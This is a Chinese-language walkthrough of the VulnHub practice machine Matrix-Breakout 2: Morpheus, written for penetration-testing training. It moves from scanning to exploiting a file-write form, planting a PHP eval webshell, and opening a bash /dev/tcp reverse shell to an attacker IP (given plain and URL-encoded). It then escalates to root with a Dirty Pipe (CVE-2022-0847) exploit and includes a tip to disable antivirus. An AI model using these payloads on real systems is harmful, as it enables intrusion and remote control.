一.环境搭建
1.靶场描述
This is the second in the Matrix-Breakout series, subtitled Morpheus:1. It’s themed as a throwback to the first Matrix movie. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery.
Difficulty: Medium-Hard
2.靶场地址
https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
3.启动靶场
虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24
二.渗透测试
1.目标
目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24
2.信息收集
(1)寻找靶场真实ip
nmap -sP 192.168.52.0/24
arp-scan -l
靶场真实ip地址为192.168.52.135
(2)探测端口及服务
nmap -p- -sV 192.168.52.135
发现开启了80端口,APache httpd 2.4.51((Debian))
发现开启了22端口,OpenSSH 8.4p1 Debian 5 (protocol 2.0)
发现开启了81端口,nginx 1.18.0
也可以使用masscan进行探测
masscan --rate=10000 --ports 0-65535 192.168.52.135
(3)web指纹识别
whatweb -v 192.168.52.135
3.渗透测试
(1)访问web服务
http://192.168.52.135
http://192.168.52.135:81
访问81端口,发现需要账号密码,尝试了一下弱口令,未能成功登录。
(2)扫描web服务
1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.135
没有有用的信息
2)nikto扫描网站结构
nikto -h http://192.168.52.135
3)dirsearch目录扫描
dirsearch -u 192.168.52.135 -e * -x 403 --random-agent
扫描到一个robots.txt
没有任何信息
截止到目前,我们没有找到任何有用的信息,我们可以换一个思路进行
还是将重点放回80端口,因为robot.txt提示我们继续找找,可能是因为我们的字典太小了,我们换个扫描器换个字典试下,我们使用另外两个字典进行扫描
ffuf -u http://192.168.52.135/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .txt,.zip,.php,html
gobuster dir -u http://192.168.52.135 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
graffiti.txt
graffiti.php
接下来我们访问这两个php,txt文件
(3)渗透测试
1)访问graffiti.php页面
我们可以看到有一个输入框,我们输入MS02423,看到返回页面显示了MS02423
2)访问graffiti.txt页面
我们可以看到返回页面和graffiti.php页面是一样的
然后我们进行抓包看看,我们可以看到变量名是file
此处有一个file变量,那么改变file变量可以直接对靶机文件修改,能随意创建文件,二话不说写个马,准备反弹shell
3)抓包写入一句话木马
在burp里面空格要使用+号代替
message=<?php+@eval($_POST[MS02423]);?>&file=MS02423.php
在写入一句话木马的时候,大家一定要把火绒关闭,不然的话会把杀掉
蚁剑连接成功,我们可以看到一些文件,但是都没有什么用
我们进入虚拟终端看看有没有什么东西,最后发现了一个flag 1
我们找到了Flag 1!,提示我们从80端口的Web服务器中提取此图像以获得另外一个flag,图像的名称叫/.cypher-neo.png,可以看到是一个隐藏文件。
4)反弹webshell
蚁剑的文件不是完整的,可能会有隐藏文件,此处简单一点直接在反弹shell双管齐下(一句话魔改一下)(记得要弄url编码)(干掉问号和空格和&)
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.52.152/666 0>&1'"); ?>
编码之后,访问文件即可即可反弹shell
%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.52.152%2F666+0%3E%261%27%22%29%3B+%3F%3E
浏览器访问即可
http://192.168.52.152/3.php
我们使用ls -la 可以看到隐藏图片,我们进行下载到kali
5)分析图片
我们访问图片
http://192.168.52.135/.cypher-neo.png
问题就是它了,网站上看不出来问题下载下看看,这里用到了一下图片隐写的知识
wget http://192.168.52.135/.cypher-neo.png
binwalk .cypher-neo.png
!!!!捆绑好家伙行
binwalk -e .cypher-neo.png --run-as=root
研究了半天都没有研究出来什么东西,我们直接进行提权看看
6)进行提权
查看一下当前linux的内核版本
uname -a
系统是Linux4.x|5.x看看有没有漏洞能利用,直接发现有漏洞能直接用CVE-2022-0847
https://github.com/r1is/CVE-2022-0847
下载下去直接传上去跑就行(蚁剑直接传上去就可以了)(或者使用shell直接到靶机里),给权限直接跑
蚁剑里面有bug,我们反弹shell,在kali里面进行
我们可以看到提权已经是root了,我们直接查看flag即可
三.相关资源
1.靶场下载地址
2.nmap
3.arp-scan
4.masscan
5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解
6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)
7.nikto工具的使用
8.dirsearch目录扫描
9.burp工具的使用
10.kali反弹shell
11.蚁剑的使用
12.gobuster.ffuf
13.binwalk工具的使用